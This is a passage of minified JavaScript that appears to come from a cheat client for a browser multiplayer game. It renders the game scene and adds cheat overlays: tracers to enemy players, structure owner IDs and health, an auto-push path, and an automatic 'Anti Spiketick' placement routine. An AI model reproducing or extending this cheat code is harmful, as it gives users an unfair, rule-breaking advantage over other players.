as();
if(gridWay && document.getElementById("gridToggle").checked) {
M.beginPath();
for (var i = -Re; i < se; i += re / gridWay) i > 0 && (M.moveTo(i, 0), M.lineTo(i, re));
for (let a = -_e; a < re; a += re / gridWay) i > 0 && (M.moveTo(0, a), M.lineTo(se, a));
M.stroke();
}
(M.globalAlpha = 1),
(M.strokeStyle = ei),
renderDeadPlayers(p, f),
(M.strokeStyle = ei),
zt(-1, p, f),
(M.globalAlpha = 1),
(M.lineWidth = 5.5),
br(0, p, f),
Ir(p, f, 0),
(M.globalAlpha = 1);
for (var c = 0; c < ye.length; ++c)
(y = ye[c]).active &&
y.visible &&
(y.animate(be),
M.save(),
M.translate(y.x - p, y.y - f),
M.rotate(y.dir + y.dirPlus - Math.PI / 2),
Jf(y, M),
M.restore());
if (
(zt(0, p, f),
br(1, p, f),
zt(1, p, f),
Ir(p, f, 1),
zt(2, p, f),
zt(3, p, f),
(M.fillStyle = "#000"),
(M.globalAlpha = 0.18),
p <= 0 && M.fillRect(0, 0, -p, re),
T.mapScale - p <= se)
) {
var $ = Math.max(0, -f);
M.fillRect(T.mapScale - p, $, se - (T.mapScale - p), re - $);
}
if ((f <= 0 && M.fillRect(-p, 0, se + p, -f), T.mapScale - f <= re)) {
var g = Math.max(0, -p);
let m = 0;
T.mapScale - p <= se && (m = se - (T.mapScale - p)),
M.fillRect(g, T.mapScale - f, se - g - m, re - (T.mapScale - f));
}
(M.globalAlpha = 1),
(M.fillStyle = rgbagamec),
M.fillRect(0, 0, se, re),
(M.strokeStyle = kr);
//here
for (var c = 0; c < J.length + ye.length; ++c)
if (
(y = J[c] || ye[c - J.length]).visible &&
(y.isPlayer || !y.isPlayer || y == E || (y.team && y.team == E.team))
) {
let _ = (y.team ? "[" + y.team + "] " : "") + (y.name || "");
if (
(Oe.forEach,
Oe.forEach((t) => {
(t = t.sid),
teamz.includes(t) ||
(teamz.push(t),
addMenuChText(
"new clan " +
t +
(null != _i(t.owner)
? " with owner " + _i(t.owner).name
: ""),
"pink",
"",
"turquoise"
));
}),
teamz.includes(y.team) ||
void 0 == y.team ||
null == y.team ||
(teamz.push(y.team),
addMenuChText("new clan " + y.team, "white", "KTA", "turquoise")),
"" != _)
) {
if (
((M.strokeStyle = "#000000"),
(M.font = gla
? (y.nameScale || 30) + "px Hammersmith One"
: "bold " + (y.nameScale || 30) + "px Oxygen"),
(M.fillStyle = "#fff"),
(M.textBaseline = "middle"),
(M.textAlign = "center"),
(M.lineWidth = y.nameScale ? 11 : 8),
(M.lineJoin = "round"),
M.strokeText(_, y.x - p, y.y - f - y.scale - T.nameY),
M.fillText(_, y.x - p, y.y - f - y.scale - T.nameY),
y.isPlayer &&
((M.lineWidth = 8),
(M.fillStyle = "#fff" == y.dmgColor ? "#8ecc51" : y.dmgColor),
(M.font = gla ? "18px Hammersmith One" : "bold 18px Oxygen"),
M.strokeText(y.sid, y.x - p, y.y - f - y.scale + 35),
M.fillText(y.sid, y.x - p, y.y - f - y.scale + 35),
(M.font = gla ? "24px Hammersmith One" : "bold 24px Oxygen"),
(M.lineWidth = 6),
(M.fillStyle = "#fff"),
M.strokeText(y.shameCount, y.x - p, y.y - f - y.scale + 140),
M.fillText(y.shameCount, y.x - p, y.y - f - y.scale + 140)),
y.isLeader && Vt.crown.isLoaded)
) {
var k = T.crownIconScale,
g = y.x - p - k / 2 - M.measureText(_).width / 2 - T.crownPad - 5;
M.drawImage(
Vt.crown,
g,
y.y - f - y.scale - T.nameY - k / 2 - 5,
k,
k
);
}
let v = {
lineJoin: M.lineJoin,
globalAlpha: M.globalAlpha,
strokeStyle: M.strokeStyle,
fillStyle: M.fillStyle,
},
b = y.dir,
w = I(y.x, y.y, b, y.scale + 35),
x = I(w.x, w.y, b + P(40), -25),
S = I(w.x, w.y, b - P(40), -25);
function I(t, n, i, o) {
return {
x: (t += o * Math.cos(i)),
y: (n += o * Math.sin(i)),
};
}
function P(t) {
return t * (Math.PI / 180);
}
for (let O in ((M.fillStyle = "#000"),
M.beginPath(),
(M.globalAlpha = 0.35),
M.moveTo(w.x - p, w.y - f),
M.lineTo(x.x - p, x.y - f),
M.lineTo(S.x - p, S.y - f),
M.closePath(),
M.fill(),
(M.globalAlpha = 0.6),
v))
M[O] = v[O];
if (y == enemy && Vt.inztaTarget.isLoaded && inztakillData.toggle) {
var A = 5 * y.scale;
M.drawImage(Vt.inztaTarget, y.x - p - A / 2, y.y - f - A / 2, A, A);
}
if (
(y.alive &&
y.isPlayer &&
document.getElementById("healthanim").checked &&
y.health != y.healthAnim &&
(y.health < y.healthAnim
? (y.healthAnim -= 4.5)
: (y.healthAnim += 4.5),
4.5 > Math.abs(y.health - y.healthAnim) &&
(y.healthAnim = y.health)),
E &&
E.alive &&
y.isPlayer &&
y.isPlayer &&
!E.isTeam(y) &&
void 0 != y.weaponIndex &&
0 == y.reloads[y.weaponIndex]) &&
y.preplaceAble
) {
let B =
R.weapons[y.weaponIndex].dmg *
T.weaponVariants[
y[(y.weaponIndex < 9 ? "prima" : "zeconda") + "ryVariant"]
].val *
(R.weapons[y.weaponIndex].sDmg || 1) *
(40 == y.skinIndex ? 3.3 : 1),
D = et
.filter(
(t) =>
t.active &&
cdf(t, y) <=
R.weapons[y.weaponIndex].range + 35 + t.scale &&
cdf(t, E) <= E.scale + t.scale + t.scale + E.scale &&
t.health - B <= 0 &&
C.getAngleDist(
caf(
{
x: y.x2,
y: y.y2,
},
{
x: t.x,
y: t.y,
}
),
y.dir
) <=
Math.PI / 2.6
)
.sort(function (t, n) {
return cdf(t, y) - cdf(n, y);
});
D.length
? D.forEach((t) => {
place(2, caf(E, y));
6 != E.skinIndex &&
E.alive &&
((forceZolder = !0),
addMenuChText("Anti Spiketick", "yellow", "", "yellow")),
setTickout(() => {
forceZolder = !1;
}, 2);
}) : null;
}
if (
document.getElementById("tracer").checked &&
!E.isTeam(y) &&
y.isPlayer
) {
if ("Line" == document.getElementById("tracerType").value)
(M.lineWidth = 4),
(M.globalAlpha = 1),
M.beginPath(),
(M.font = gla ? "24px Hammersmith One" : "bold 24px Oxygen"),
(M.strokeStyle = "black"),
(M.fillStyle = "white"),
M.moveTo(E.x - p, E.y - f),
M.lineTo(y.x - p, y.y - f),
M.stroke(),
M.strokeText(
cdf(E, y),
(E.x + y.x) / 2 - p,
(E.y + y.y) / 2 - f
),
M.fillText(cdf(E, y), (E.x + y.x) / 2 - p, (E.y + y.y) / 2 - f);
else if ("Arrow" == document.getElementById("tracerType").value) {
let z = {
x: T.maxScreenWidth / 2,
y: T.maxScreenHeight / 2,
},
W = Math.min(
1,
(100 *
cdf(
{
x: 0,
y: 0,
},
{
x: E.x - y.x,
y: (E.y - y.y) * (16 / 9),
}
)) /
(T.maxScreenHeight / 2) /
z.y
),
L = Math.max(100, z.y * W),
H = L * Math.cos(caf(E, y)),
V = L * Math.sin(caf(E, y));
M.save(),
M.translate(E.x - p + H, E.y - f + V),
M.rotate(caf(E, y) + Math.PI / 2),
(M.fillStyle = y.dmgColor),
(M.globalAlpha = 1),
!(function (t, n) {
let i = t * (Math.sqrt(3) / 2);
(n = n || M).beginPath(),
n.moveTo(0, -i / 1.5),
n.lineTo(-t / 2, i / 2),
n.lineTo(t / 2, i / 2),
n.lineTo(0, -i / 1.5),
n.fill(),
n.closePath();
})(25, M),
M.restore();
}
}
if (1 == y.iconIndex && Vt.skull.isLoaded) {
var k = T.crownIconScale,
g = y.x - p - k / 2 + M.measureText(_).width / 2 + T.crownPad;
M.drawImage(
Vt.skull,
g,
y.y - f - y.scale - T.nameY - k / 2 - 5,
k,
k
);
}
}
function F(t, n, i) {
return `hsl(${(i - n) * (t / 100) + n}, 30%, 50%)`;
}
function U(t) {
return `hsl(${360 * t + 70}, 100%, 50%)`;
}
y.health > 0 &&
(T.healthBarWidth,
(M.fillStyle = kr),
M.roundRect(
y.x - p - T.healthBarWidth - T.healthBarPad,
y.y - f + y.scale + T.nameY,
2 * T.healthBarWidth + 2 * T.healthBarPad,
17,
8
),
M.fill(),
y.isPlayer &&
document.getElementById("healthanim").checked &&
((M.fillStyle = "rgba(255, 255, 0, 0.75)"),
M.roundRect(
y.x - p - T.healthBarWidth,
y.y - f + y.scale + T.nameY + T.healthBarPad,
2 * T.healthBarWidth * (y.healthAnim / y.maxHealth),
17 - 2 * T.healthBarPad,
7
),
M.fill()),
(M.fillStyle =
y == E || (y.team && y.team == E.team) ? "#8ecc51" : "#cc5151"),
M.roundRect(
y.x - p - T.healthBarWidth,
y.y - f + y.scale + T.nameY + T.healthBarPad,
2 * T.healthBarWidth * (y.health / y.maxHealth),
17 - 2 * T.healthBarPad,
7
),
M.fill());
let N = {
primary:
void 0 == y.primaryWeapon
? 1
: (R.weapons[y.primaryWeapon].speed -
y.reloads[y.primaryWeapon]) /
R.weapons[y.primaryWeapon].speed,
secondary:
void 0 == y.secondaryWeapon
? 1
: (R.weapons[y.secondaryWeapon].speed -
y.reloads[y.secondaryWeapon]) /
R.weapons[y.secondaryWeapon].speed,
turret: (2500 - y.turretReload) / 2500,
};
y.currentReloads ||
(y.currentReloads = {
primary: N.primary,
secondary: N.secondary,
turret: N.turret,
});
let q = {
primary:
void 0 == y.primaryWeapon
? 1
: y.oldReloads[y.primaryWeapon] -
(y.oldReloads[y.primaryWeapon] - y.reloads[y.primaryWeapon]) *
y.rt,
secondary:
void 0 == y.secondaryWeapon
? 1
: y.oldReloads[y.secondaryWeapon] -
(y.oldReloads[y.secondaryWeapon] -
y.reloads[y.secondaryWeapon]) *
y.rt,
};
(y.currentReloads.primary =
void 0 == y.primaryWeapon
? 1
: (R.weapons[y.primaryWeapon].speed - q.primary) /
R.weapons[y.primaryWeapon].speed),
(y.currentReloads.secondary =
void 0 == y.secondaryWeapon
? 1
: (R.weapons[y.secondaryWeapon].speed - q.secondary) /
R.weapons[y.secondaryWeapon].speed),
(y.currentReloads.turret = N.turret),
void 0 !== y.primaryWeapon &&
(R.weapons[y.primaryWeapon].speed,
y.reloads[y.primaryWeapon],
R.weapons[y.primaryWeapon].speed),
void 0 !== y.secondaryWeapon &&
(R.weapons[y.secondaryWeapon].speed,
y.reloads[y.secondaryWeapon],
R.weapons[y.secondaryWeapon].speed);
let X = y.x - p,
Y = y.y - f,
G = (2 * Math.PI) / 3,
K = -Math.PI / 2 + Math.PI / 3 - Math.PI / 12,
Z = K + G * y.currentReloads.secondary,
ed = Math.PI / 2,
ep = ed + G * y.currentReloads.primary + Math.PI / 12,
e$ = Math.PI + Math.PI / 4.5,
eg = e$ + (G / 1.3) * y.currentReloads.turret;
M.save(),
1 != y.currentReloads.primary &&
(M.beginPath(),
M.arc(X, Y, 35, ed, ep),
(M.lineWidth = 5.5),
(M.strokeStyle = U(
y.currentReloads.primary,
R.weapons[y.primaryWeapon].speed
)),
M.stroke()),
1 != y.currentReloads.secondary &&
(M.beginPath(),
M.arc(X, Y, 35, K, Z),
(M.lineWidth = 5.5),
(M.strokeStyle = U(
y.currentReloads.secondary,
R.weapons[y.secondaryWeapon].speed
)),
M.stroke()),
1 != y.currentReloads.turret &&
(M.beginPath(),
M.arc(X, Y, 35, e$, eg),
(M.lineWidth = 5.5),
(M.strokeStyle = U(y.currentReloads.turret, 2500)),
M.stroke()),
M.restore();
}
E &&
autopuzhing &&
((M.lineWidth = 2),
(M.globalAlpha = 1),
M.beginPath(),
(M.strokeStyle = "white"),
M.moveTo(E.x - p, E.y - f),
M.lineTo(puzhData.x2 - p, puzhData.y2 - f),
M.lineTo(puzhData.x - p, puzhData.y - f),
M.stroke(),
M.beginPath(),
(M.strokeStyle = "blue"),
M.moveTo(E.x - p, E.y - f),
M.lineTo((E.x + 70 * Math.cos(pushTragectory)) - p, (E.y + 70 * Math.sin(pushTragectory)) - f),
M.stroke()),
et.forEach((t) => {
if (
(t.active &&
t.isItem &&
650 >= cdf(t, E) &&
document.getElementById("objzid").checked &&
((M.font = gla ? "12px Hammersmith One" : "bold 12px Oxygen"),
(M.fillStyle = t.teamObj(E) ? "#2187C0" : "#c22157"),
(M.textBaseline = "middle"),
(M.textAlign = "center"),
(M.strokeStyle = "#000000"),
(M.lineWidth = 8),
(M.lineJoin = "round"),
M.strokeText(
t.owner.sid,
t.x - p + t.xWiggle,
t.y - f + 25 + t.yWiggle
),
M.fillText(
t.owner.sid,
t.x - p + t.xWiggle,
t.y - f + 25 + t.yWiggle
)),
t.active &&
t.isItem &&
400 >= cdf(t, E) &&
t.health < t.maxHealth &&
document.getElementById("buildhp").checked)
) {
if ("Rectangle" == document.getElementById("buildHPType").value)
T.healthBarWidth,
(M.fillStyle = "#000000"),
M.roundRect(
t.x +
t.xWiggle -
p -
(T.healthBarWidth / 2) * 1.25 -
T.healthBarPad,
t.y + t.yWiggle - f - 10,
1.25 * T.healthBarWidth + 2 * T.healthBarPad,
17,
8
),
M.fill(),
(M.fillStyle = t.teamObj(E) ? "#2187C0" : "#c22157"),
M.roundRect(
t.x + t.xWiggle - p - (T.healthBarWidth / 2) * 1.25,
t.y + t.yWiggle - f + T.healthBarPad - 10,
1.25 * T.healthBarWidth * (t.health / t.maxHealth),
17 - 2 * T.healthBarPad,
7
),
M.fill();
else if ("Circle" == document.getElementById("buildHPType").value) {
let n = T.healthBarWidth / 2 + T.healthBarPad - 5,
i = 1e-4 - t.health / t.maxHealth + 1;
M.beginPath(),
M.arc(
t.x - p,
t.y - f,
n,
Math.PI,
Math.PI + 2 * i * Math.PI,
!0
),
(M.strokeStyle = "#000"),
(M.lineWidth = 14),
(M.lineCap = "round"),
M.stroke(),
M.beginPath(),
M.arc(
t.x - p,
t.y - f,
n,
Math.PI,
Math.PI + 2 * i * Math.PI,
!0
),
(M.strokeStyle = t.teamObj(E) ? "#2187C0" : "#c22157"),
(M.lineWidth = 6),
(M.lineCap = "round"),
M.stroke();
}
}
}),
Hn.update(be, M, p, f);
for (var c = 0; c < J.length; ++c)
if ((y = J[c]).visible && y.chatCountdown > 0) {
(y.chatCountdown -= be),
y.chatCountdown <= 0 && (y.chatCountdown = 0),
(M.font = gla ? "32px Hammersmith One" : "bold 32px Oxygen");
let em = M.measureText(y.chatMessage);
(M.textBaseline = "middle"), (M.textAlign = "center");
var g = y.x - p,
$ = y.y - y.scale - f - 90;
let ey = em.width + 17;
(M.fillStyle = "rgba(0,0,0,0.2)"),
M.roundRect(g - ey / 2, $ - 23.5, ey, 47, 6),
M.fill(),
(M.fillStyle = "#fff"),
M.fillText(y.chatMessage, g, $);
}
for (var c = 0; c < J.length; ++c)
if ((y = J[c]).visible && y.privateChatCountdown > 0) {
(y.privateChatCountdown -= be),
y.privateChatCountdown <= 0 && (y.privateChatCountdown = 0),
(M.font = gla ? "32px Hammersmith One" : "bold 32px Oxygen");
let e_ = M.measureText(y.privateChatMessage);
(M.textBaseline = "middle"), (M.textAlign = "center");
var g = y.x - p,
$ = y.y - y.scale - f - 90;
let ek = e_.width + 17;
(M.fillStyle = "rgba(0,0,0,0.2)"),
M.roundRect(g - ek / 2, $ - 23.5, ek, 47, 6),
M.fill(),
(M.fillStyle = "#bdbdbd"),
M.fillText(y.privateChatMessage, g, $);
}
}
lf(be);
}
function br(t, n, i) {
for (let o = 0; o < Mt.length; ++o)
(y = Mt[o]).active &&
y.layer == t &&
(y.update(be),
y.active &&
Bo(y.x - n, y.y - i, y.scale) &&
(M.save(),
M.translate(y.x - n, y.y - i),
M.rotate(y.dir),
Zn(0, 0, y, M),
M.restore()));
}
const Sr = {};
function Zn(t, n, i, o, a) {
if (i.src) {
let r = R.projectiles[i.indx].src,
s = Sr[r];
s ||
(((s = new Image()).onload = function () {
this.isLoaded = !0;
}),
(s.src = "./img/weapons/" + r + ".png"),
(Sr[r] = s)),
s.isLoaded &&
o.drawImage(s, t - i.scale / 2, n - i.scale / 2, i.scale, i.scale);
} else 1 == i.indx && ((o.fillStyle = "#939393"), Q(t, n, i.scale, o));
}
function Rf() {
let t = Re - se / 2,
n = _e - re / 2;
(Me.animationTime += be), (Me.animationTime %= T.volcanoAnimationDuration);
let i = T.volcanoAnimationDuration / 2,
o = 1.7 + 0.3 * (Math.abs(i - Me.animationTime) / i),
a = T.innerVolcanoScale * o;
M.drawImage(
Me.land,
Me.x - T.volcanoScale - t,
Me.y - T.volcanoScale - n,
2 * T.volcanoScale,
2 * T.volcanoScale
),
M.drawImage(Me.lava, Me.x - a - t, Me.y - a - n, 2 * a, 2 * a);
}
function Tr(t, n, i, o) {
let a = T.riverWidth + o,
r = T.mapScale / 2 - n - a / 2;
r < re && r + a > 0 && i.fillRect(0, r, se, a);
}
function zt(t, n, i) {
let o, a, r;
for (let s = 0; s < et.length; ++s)
(y = et[s]).active &&
((a = y.x + y.xWiggle - n),
(r = y.y + y.yWiggle - i),
0 == t && y.update(be),
y.layer == t &&
Bo(a, r, y.scale + (y.blocker || 0)) &&
((M.globalAlpha = y.hideFromEnemy ? 0.6 : 1),
y.isItem
? ((o = Ss(y)),
M.save(),
M.translate(a, r),
M.rotate(y.dir),
M.drawImage(o, -(o.width / 2), -(o.height / 2)),
y.blocker &&
((M.strokeStyle = "#db6e6e"),
(M.globalAlpha = 0.3),
(M.lineWidth = 6),
Q(0, 0, y.blocker, M, !1, !0)),
M.restore())
: 4 === y.type
? Rf()
: ((o = Hf(y)), M.drawImage(o, a - o.width / 2, r - o.height / 2))));
if (
(document.getElementById("placevizual").checked &&
"Building" == document.getElementById("placevizualType").value &&
3 == t &&
itemPlacer.length &&
itemPlacer.forEach((t) => {
let o = t.x - n,
a = t.y - i;
getMarkSprite(t, M, o, a);
}),
3 == t && breakMarker.length)
) {
let l = breakMarker[0],
c = breakMarker[1];
M.beginPath(),
(M.globalAlpha = 0.35),
(M.fillStyle = "red"),
(M.strokeStyle = _i(breakMarker[3])
? breakMarker[3] == E.sid
? "red"
: _i(breakMarker[3]).dmgColor
: "red"),
M.arc(l - n, c - i, breakMarker[2], 0, 2 * Math.PI),
M.stroke(),
M.fill(),
(M.globalAlpha = 1),
(M.fillStyle = ""),
(M.strokeStyle = "");
if(antiPushobj) {
M.beginPath(),
(M.globalAlpha = 0.35),
(M.fillStyle = "blue"),
(M.strokeStyle = "#00aaee"),
M.arc(l - n, c - i, antiPushobj.scale, 0, 2 * Math.PI),
M.stroke(),
M.fill(),
(M.globalAlpha = 1),
(M.fillStyle = ""),
(M.strokeStyle = "");
}
}
}
let outlineColor = "#525252",
darkOutlineColor = "#3d3f42",
outlineWidth = 5.5;
function renderCircle(t, n, i, o, a, r) {
(o = o || M).beginPath(),
o.arc(t, n, i, 0, 2 * Math.PI),
r || o.fill(),
a || o.stroke();
}
function renderHealthCircle(t, n, i, o, a, r) {
(o = o || M).beginPath(),
o.arc(t, n, i, 0, 2 * Math.PI),
r || o.fill(),
a || o.stroke();
}
function renderStar(t, n, i, o) {
let a = (Math.PI / 2) * 3,
r,
s,
l = Math.PI / n;
t.beginPath(), t.moveTo(0, -i);
for (let c = 0; c < n; c++)
(r = Math.cos(a) * i),
(s = Math.sin(a) * i),
t.lineTo(r, s),
(a += l),
(r = Math.cos(a) * o),
(s = Math.sin(a) * o),
t.lineTo(r, s),
(a += l);
t.lineTo(0, -i), t.closePath();
}
function renderHealthStar(t, n, i, o) {
let a = (Math.PI / 2) * 3,
r,
s,
l = Math.PI / n;
t.beginPath(), t.moveTo(0, -i);
for (let c = 0; c < n; c++)
(r = Math.cos(a) * i),
(s = Math.sin(a) * i),
t.lineTo(r, s),
(a += l),
(r = Math.cos(a) * o),
(s = Math.sin(a) * o),
t.lineTo(r, s),
(a += l);
t.lineTo(0, -i), t.closePath();
}
function renderRect(t, n, i, o, a, r, s) {
s || a.fillRect(t - i / 2, n - o / 2, i, o),
r || a.strokeRect(t - i / 2, n - o / 2, i, o);
}
function renderHealthRect(t, n, i, o, a, r, s) {
s || a.fillRect(t - i / 2, n - o / 2, i, o),
r || a.strokeRect(t - i / 2, n - o / 2, i, o);
}
function renderRectCircle(t, n, i, o, a, r, s, l) {
r.save(), r.translate(t, n), (a = Math.ceil(a / 2));
for (let c = 0; c < a; c++)
renderRect(0, 0, 2 * i, o, r, s, l), r.rotate(Math.PI / a);
r.restore();
}
function getMarkSprite(t, n, i, o) {
if (
((n.lineWidth = outlineWidth),
(M.globalAlpha = 0.25),
(n.strokeStyle = outlineColor),
n.save(),
n.translate(i, o),
n.rotate(t.dir || 0),
"spikes" == t.name ||
"greater spikes" == t.name ||
"poison spikes" == t.name ||
"spinning spikes" == t.name)
) {
n.fillStyle = "poison spikes" == t.name ? "#7b935d" : "#939393";
var a = 0.6 * t.scale;
(n.globalCompositeOperation = "source-over"),
renderStar(n, "spikes" == t.name ? 5 : 6, t.scale, a),
n.fill(),
n.stroke(),
(n.fillStyle = "#a5974c"),
(n.globalCompositeOperation = "source-over"),
renderCircle(0, 0, a, n),
(n.fillStyle = "#c9b758"),
(n.globalCompositeOperation = "source-over"),
renderCircle(0, 0, a / 2, n, !0);
} else if ("turret" == t.name)
(n.fillStyle = "#a5974c"),
(n.globalCompositeOperation = "source-over"),
renderCircle(0, 0, t.scale, n),
n.fill(),
n.stroke(),
(n.fillStyle = "#939393"),
(n.globalCompositeOperation = "source-over"),
renderRect(0, -25, 0.9 * t.scale, 50, n),
(n.globalCompositeOperation = "source-over"),
renderCircle(0, 0, 0.6 * t.scale, n),
n.fill(),
n.stroke();
else if ("teleporter" == t.name)
(n.fillStyle = "#7e7f82"),
(n.globalCompositeOperation = "source-over"),
renderCircle(0, 0, t.scale, n),
n.fill(),
n.stroke(),
n.rotate(Math.PI / 4),
(n.fillStyle = "#d76edb"),
(n.globalCompositeOperation = "source-over"),
renderCircle(0, 0, 0.5 * t.scale, n, !0);
else if ("platform" == t.name) {
n.fillStyle = "#cebd5f";
let r = 2 * t.scale,
s = r / 4,
l = -(t.scale / 2);
for (let c = 0; c < 4; ++c)
(n.globalCompositeOperation = "source-over"),
renderRect(l - s / 2, 0, s, 2 * t.scale, n),
n.fill(),
n.stroke(),
(l += r / 4);
} else
"healing pad" == t.name
? ((n.fillStyle = "#7e7f82"),
(n.globalCompositeOperation = "source-over"),
renderRect(0, 0, 2 * t.scale, 2 * t.scale, n),
n.fill(),
n.stroke(),
(n.fillStyle = "#db6e6e"),
(n.globalCompositeOperation = "source-over"),
renderRectCircle(0, 0, 0.65 * t.scale, 20, 4, n, !0))
: "spawn pad" == t.name
? ((n.fillStyle = "#7e7f82"),
(n.globalCompositeOperation = "source-over"),
renderRect(0, 0, 2 * t.scale, 2 * t.scale, n),
n.fill(),
n.stroke(),
(n.fillStyle = "#71aad6"),
(n.globalCompositeOperation = "source-over"),
renderCircle(0, 0, 0.6 * t.scale, n))
: "blocker" == t.name
? ((n.fillStyle = "#7e7f82"),
(n.globalCompositeOperation = "source-over"),
renderCircle(0, 0, t.scale, n),
n.fill(),
n.stroke(),
n.rotate(Math.PI / 4),
(n.fillStyle = "#db6e6e"),
(n.globalCompositeOperation = "source-over"),
renderRectCircle(0, 0, 0.65 * t.scale, 20, 4, n, !0))
: "windmill" == t.name ||
"faster windmill" == t.name ||
"power mill" == t.name
? ((n.globalCompositeOperation = "source-over"),
(n.fillStyle = "#a5974c"),
Q(0, 0, t.scale, n),
(n.globalCompositeOperation = "source-over"),
(n.fillStyle = "#c9b758"),
En(0, 0, 1.5 * t.scale, 29, 4, n),
(n.globalCompositeOperation = "source-over"),
(n.fillStyle = "#a5974c"),
Q(0, 0, 0.5 * t.scale, n))
: "pit trap" == t.name &&
((n.globalAlpha = 0.2),
(n.fillStyle = "#a5974c"),
(n.globalCompositeOperation = "source-over"),
renderStar(n, 3, 1.1 * t.scale, 1.1 * t.scale),
n.fill(),
n.stroke(),
(n.fillStyle = outlineColor),
(n.globalCompositeOperation = "source-over"),
renderStar(n, 3, 0.65 * t.scale, 0.65 * t.scale),
n.fill());
n.restore(), (n.globalAlpha = 1);
}
function Ir(t, n, i) {
M.globalAlpha = 1;
for (let o = 0; o < J.length; ++o)
(y = J[o]).zIndex == i &&
(y.animate(be),
y.visible &&
((y.skinRot += 0.002 * be),
(lr = y.dir + y.dirPlus),
M.save(),
M.translate(y.x - t, y.y - n),
M.rotate(lr),
(M.shadowColor = "rgba(0, 0, 0, 0.75)"),
(M.shadowBlur = 10),
(M.globalAlpha = 0.8),
Bf(y, M),
M.restore()));
}
function renderDeadPlayer(t, n, i, o) {
((n = n || M).lineWidth = 5.5), (n.lineJoin = "miter");
let a = (Math.PI / 4) * (R.weapons[t.weaponIndex].armS || 1),
r = (t.buildIndex < 0 && R.weapons[t.weaponIndex].hndS) || 1,
s = (t.buildIndex < 0 && R.weapons[t.weaponIndex].hndD) || 1;
if (
(zf(13, n, t),
!(t.buildIndex < 0) ||
R.weapons[t.weaponIndex].aboveHand ||
(Ar(
R.weapons[t.weaponIndex],
T.weaponVariants[t.weaponVariant || 0].src || "",
t.scale,
0,
n
),
void 0 == R.weapons[t.weaponIndex].projectile ||
R.weapons[t.weaponIndex].hideProjectile ||
Zn(t.scale, 0, R.projectiles[R.weapons[t.weaponIndex].projectile], M)),
(n.fillStyle = "#ececec"),
renderCircle(t.scale * Math.cos(a), t.scale * Math.sin(a), 14),
renderCircle(
t.scale * s * Math.cos(-a * r),
t.scale * s * Math.sin(-a * r),
14
),
t.buildIndex < 0 &&
R.weapons[t.weaponIndex].aboveHand &&
(Ar(
R.weapons[t.weaponIndex],
T.weaponVariants[t.weaponVariant || 0].src || "",
t.scale,
0,
n
),
void 0 == R.weapons[t.weaponIndex].projectile ||
R.weapons[t.weaponIndex].hideProjectile ||
Zn(t.scale, 0, R.projectiles[R.weapons[t.weaponIndex].projectile], M)),
t.buildIndex >= 0)
) {
var l = Ss(R.list[t.buildIndex]);
n.drawImage(l, t.scale - R.list[t.buildIndex].holdOffset, -l.width / 2);
}
renderCircle(0, 0, t.scale, n), lovedune2024(48, n, null, t, i, o);
}
function renderCircle(t, n, i, o, a, r) {
(o = o || M).beginPath(),
o.arc(t, n, i, 0, 2 * Math.PI),
r || o.fill(),
a || o.stroke();
}
const speed = 1;
function renderDeadPlayers(t, n) {
M.fillStyle = "#91b2db";
let i = Date.now();
deadPlayers
.filter((t) => t.active)
.forEach((o) => {
o.startTime ||
((o.startTime = i), (o.angle = 0), (o.radius = 0.1), (o.alpha = 1));
let a = i - o.startTime;
(o.alpha = Math.max(0, 1 - a / 3e3)),
o.animate(be),
(M.globalAlpha = o.alpha),
(M.strokeStyle = ei),
M.save(),
M.translate(o.x - t, o.y - n),
(o.angle += 0.05);
let r = 500 / 9,
s = o.radius * Math.cos(o.deathDir),
l = o.radius * Math.sin(o.deathDir);
(o.x += s * r),
(o.y += l * r),
M.rotate(o.angle),
(M.globalAlpha = o.alpha),
renderDeadPlayer(o, M, o.alpha, o.angle),
M.restore(),
(M.fillStyle = "#91b2db"),
a >= 3e3 && ((o.active = !1), (o.startTime = null));
});
}
function Bf(t, n) {
((n = n || M).lineWidth = 5.5), (n.lineJoin = "miter");
let i = (Math.PI / 4) * (R.weapons[t.weaponIndex].armS || 1),
o = (t.buildIndex < 0 && R.weapons[t.weaponIndex].hndS) || 1,
a = (t.buildIndex < 0 && R.weapons[t.weaponIndex].hndD) || 1;
if (
(t.tailIndex > 0 && zf(t.tailIndex, n, t),
!(t.buildIndex < 0) ||
R.weapons[t.weaponIndex].aboveHand ||
(Ar(
R.weapons[t.weaponIndex],
T.weaponVariants[t.weaponVariant].src,
t.scale,
0,
n
),
null == R.weapons[t.weaponIndex].projectile ||
R.weapons[t.weaponIndex].hideProjectile ||
Zn(t.scale, 0, R.projectiles[R.weapons[t.weaponIndex].projectile], M)),
(n.fillStyle = T.skinColors[t.skinColor]),
Q(t.scale * Math.cos(i), t.scale * Math.sin(i), 14),
Q(t.scale * a * Math.cos(-i * o), t.scale * a * Math.sin(-i * o), 14),
t.buildIndex < 0 &&
R.weapons[t.weaponIndex].aboveHand &&
(Ar(
R.weapons[t.weaponIndex],
T.weaponVariants[t.weaponVariant].src,
t.scale,
0,
n
),
null == R.weapons[t.weaponIndex].projectile ||
R.weapons[t.weaponIndex].hideProjectile ||
Zn(t.scale, 0, R.projectiles[R.weapons[t.weaponIndex].projectile], M)),
t.buildIndex >= 0)
) {
let r = Ss(R.list[t.buildIndex]);
n.drawImage(r, t.scale - R.list[t.buildIndex].holdOffset, -r.width / 2);
}
Q(0, 0, t.scale, n),
t.skinIndex > 0 && (n.rotate(Math.PI / 2), _o(t.skinIndex, n, null, t));
}
function renderPlayerTracer(t, n) {
((n = n || M).lineWidth = 5.5), (n.lineJoin = "miter");
let i = (Math.PI / 4) * (R.weapons[t.weaponIndex].armS || 1),
o = (t.buildIndex < 0 && R.weapons[t.weaponIndex].hndS) || 1,
a = (t.buildIndex < 0 && R.weapons[t.weaponIndex].hndD) || 1;
if (
(t.tailIndex > 0 && zf(t.tailIndex, n, t),
!(t.buildIndex < 0) ||
R.weapons[t.weaponIndex].aboveHand ||
(Ar(
R.weapons[t.weaponIndex],
T.weaponVariants[t.weaponVariant].src,
t.scale,
0,
n
),
null == R.weapons[t.weaponIndex].projectile ||
R.weapons[t.weaponIndex].hideProjectile ||
Zn(t.scale, 0, R.projectiles[R.weapons[t.weaponIndex].projectile], M)),
(n.fillStyle = T.skinColors[t.skinColor]),
Q(t.scale * Math.cos(i), t.scale * Math.sin(i), 14),
Q(t.scale * a * Math.cos(-i * o), t.scale * a * Math.sin(-i * o), 14),
t.buildIndex < 0 &&
R.weapons[t.weaponIndex].aboveHand &&
(Ar(
R.weapons[t.weaponIndex],
T.weaponVariants[t.weaponVariant].src,
t.scale,
0,
n
),
null == R.weapons[t.weaponIndex].projectile ||
R.weapons[t.weaponIndex].hideProjectile ||
